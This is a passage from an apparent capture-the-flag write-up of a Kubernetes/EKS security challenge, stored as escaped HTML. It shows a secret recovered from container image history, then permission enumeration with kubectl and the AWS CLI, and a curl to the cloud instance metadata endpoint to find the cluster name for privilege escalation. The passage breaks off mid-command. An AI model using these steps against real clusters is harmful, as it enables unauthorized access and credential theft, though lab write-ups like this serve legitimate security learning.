#F69D50\"\u003e\"3133337\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"ArgsEscaped\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"OnBuild\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enull\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"history\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-07-18T23:19:33.538571854Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / \"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-07-18T23:19:33.655005962Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/bin/sh -c #(nop)  CMD [\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esh\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"empty_layer\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal\u0026#x3C;*REDACTED*\u003e} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"comment\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"buildkit.dockerfile.v0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"CMD [\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/bin/sleep\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e3133337\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"comment\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"buildkit.dockerfile.v0\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"empty_layer\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"os\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"linux\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"rootfs\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"type\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"layers\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"diff_ids\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f\"\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLooks like they made the same mistake again and leaked the secret in the image\nlayers!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ewiz_eks_challenge{the_history_of_container_images_could_reveal\u0026#x3C;*REDACTED*\u003e} \u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eTime for challenge 4!\u003c/p\u003e\n\u003ch1\u003eChallenge 4\u003c/h1\u003e\n\u003cp\u003eThe hint:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eYou're inside a vulnerable pod on an EKS cluster. Your pod's service-account has\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eno permissions. Can you navigate your way to access the EKS Node's privileged\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eservice-account?\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis sounds like we're going to need to escalate our privileges through the AWS\naccess we acquired in the last challenge. Lets start with inspecting the\nenvironment again:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eError\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eserver\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (Forbidden): pods is forbidden: User \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"system:serviceaccount:challenge4:service-account-challenge4\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e cannot list resource \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"pods\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e API group \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e the namespace \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"challenge4\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo we don't even have access to list pods!   Do we have any access?\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emay\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eincomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewebhook\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthorizer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edoes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euser\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNon-Resource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eURLs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eResource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVerbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   []                                    []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    []                                    []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/.well-known/openid-configuration]   []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api]                                []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis]                               []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openid/v1/jwks]                     []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]                           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]                           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      []                                    [eks.privileged]   [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThat is \u003cem\u003every\u003c/em\u003e minimal access. So we are going to have to try get a token using\nthe escalated privileges.  Usually we could use \u003ccode\u003eaws eks get-token\u003c/code\u003e but that\nrequires knowing the cluster name and I don't know that.   Lets try to list the\nclusters:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeks\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist-clusters\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eoccurred\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (AccessDeniedException) when calling the ListClusters operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: eks:ListClusters on resource: arn:aws:eks:us-west-1:688655246681:cluster/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo they haven't given us much to go on at all here.  The role itself \u003cem\u003emight\u003c/em\u003e be\na clue but that is relying on them being consistent with their naming:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003earn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe cluster name \u003cem\u003emight\u003c/em\u003e be \u003ccode\u003eeks-challenge-cluster\u003c/code\u003e based on that but I can't\nguarantee that. Lets check its security groups:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-sS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttp://169.254.169.254/latest/meta-data/security-groups\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e;\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eecho\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeks-cluster-sg-eks-challenge-cluster-963543728\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe name is there again.  I don't feel good about not having more details but it\nis at least worth trying it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e 